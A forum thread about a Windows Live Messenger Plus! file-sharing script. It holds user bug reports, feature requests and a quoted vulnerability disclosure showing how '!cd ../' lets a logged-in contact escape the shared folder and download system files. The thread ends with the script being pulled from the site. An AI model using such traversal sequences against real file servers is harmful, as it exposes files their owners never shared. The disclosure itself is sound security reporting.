Shoutbox

Forgive my carelessness

Hey there!

Thanks for the wonderfull script :3

One thing i would like changed or added is the ability to update manually, i've not been able to because i wasnt logged in and it pissed me off XD.

And also, several folders? it's alot to ask for i know :3 but it would be a good thing, oh and if you need an Swedish translator i can translate .

Ok I installed the latest version people can login but when they type !dir nothing at all happens, What's going on?

Shannon

Hi, I think the system works beautifully, but it took me awhile to figure out how things worked. You should really write a manual. Just a quick question, how does the !getm function work? To request a single file, the command is !get _______ but for multiple files, how do you space the separate files?

In case you need a Dutch translation, feel free to contact ( = PM) me

PS not this week.. school

Hey, i dont know whats rong or im doing somthing rong...

I make accounts for some friends, they login succesfully and get the message that they can now use !dir command but when they type it nothing happens most of the time, it did list my folders i chose a few times, it seems to be ramdom with the same person wether it will work or not, i also tried it with my other msn account and same thing, ramdom when it works and well mostly dosnt work but one command that always works is the login command and most of the time the !fileserver command works but all the other commands behave the same, i havnt actually seen the other commands work yet, any ideas?

Dannyk90 <dannyk90@hotmail.co.uk>

EDIT : Ok the fix is to put autologout time to 60 now all works
but, when my friend wen tried to look inside a folder with my music in, it claimed that i had nothing in there also with other folders withing my Music directory, i changed the directory to Pictures and it detects jpg's so maybe it hasnt been programmed to detect any other files?

Its now 2009 and when u said 2.0 will come out soon that was said in 2006 so.. what happned, cos that probblem where u can keep on opening em is still there

Check out the new image...

*Also you should include numbers at the left of the file/folder names in brackets too so you dont have to type out somthing really long or weirdly spelt

also why have the !cd command if u cant use it?


James ere chilin 2k9  last 1 for all   ace nite lads XD says:
*!cd C:\
              Dannnnny                 says:
*The directory you specified doesn't exist!



James ere chilin 2k9  last 1 for all   ace nite lads XD says:
*!cd C:\Users\Danny\Pictures
              Dannnnny                 says:
*The directory you specified doesn't exist!


And when clicking the link to this site from About, if i close the small box and it instantly makes messenger stop responding, ?

code:

---

###########################################
Windows Live Messenger Plus! FileServer 1.0
###########################################
Found by joepie91


The FileServer script allows a user using Windows Live Messenger Plus! to share a defined folder and its subfolders and files with a contact.
Authentication is done using a user-defined username and password.
I have found a vulnerability in this script, which allows for downloading of EVERY file on the same disk as the defined folder ("root folder"),
even outside the root folder. The script can be found at http://www.msgpluslive.nl/scripts/view/65-FileServer/

The normal procedure is to use !login to log in, !dir to list files, and !cd to select a folder.

This is an example of a normal communication:
> !login username password
< Login succeeded.
> !dir
< [directory listing goes here]
> !cd music
< OK
> !get music.mp3
< [music.mp3 is sent here]

However, when using ../ with the !cd command, you can actually go beyond the root folder.
This is an example communication (the root directory is C:\shared\files\):
> !login username password
< Login succeeded.
> !cd ../
< OK
> !cd ../
< OK
> !cd windows
< OK
> !dir
< [here goes a directory listing of C:\windows]
> !get explorer.exe
< [client sends back explorer.exe, even though it doesn't have any use]

---

Might be a good idea to fix that ASAP.

I've got it working now, and I've given one of my users My music as the root.

One problem, is there a way to enter directories? At the moment, my contact can only select single files to send, not folders.

Hi,



The commands do not work, even with it active.

quote:

---

Originally posted by joepie91

code:

---

###########################################
Windows Live Messenger Plus! FileServer 1.0
###########################################
Found by joepie91


The FileServer script allows a user using Windows Live Messenger Plus! to share a defined folder and its subfolders and files with a contact.
Authentication is done using a user-defined username and password.
I have found a vulnerability in this script, which allows for downloading of EVERY file on the same disk as the defined folder ("root folder"),
even outside the root folder. The script can be found at http://www.msgpluslive.nl/scripts/view/65-FileServer/

The normal procedure is to use !login to log in, !dir to list files, and !cd to select a folder.

This is an example of a normal communication:
> !login username password
< Login succeeded.
> !dir
< [directory listing goes here]
> !cd music
< OK
> !get music.mp3
< [music.mp3 is sent here]

However, when using ../ with the !cd command, you can actually go beyond the root folder.
This is an example communication (the root directory is C:\shared\files\):
> !login username password
< Login succeeded.
> !cd ../
< OK
> !cd ../
< OK
> !cd windows
< OK
> !dir
< [here goes a directory listing of C:\windows]
> !get explorer.exe
< [client sends back explorer.exe, even though it doesn't have any use]

---

Might be a good idea to fix that ASAP.

---

Removed the FileServer script from the site until this is fixed. I know it was reported over half a year ago, just didn't read the thread. Thanks to John for pointing me to it.

Will inform the creator too, but since his last post was in 2006 and all I have to contact is his forum profile I doubt it will result in much.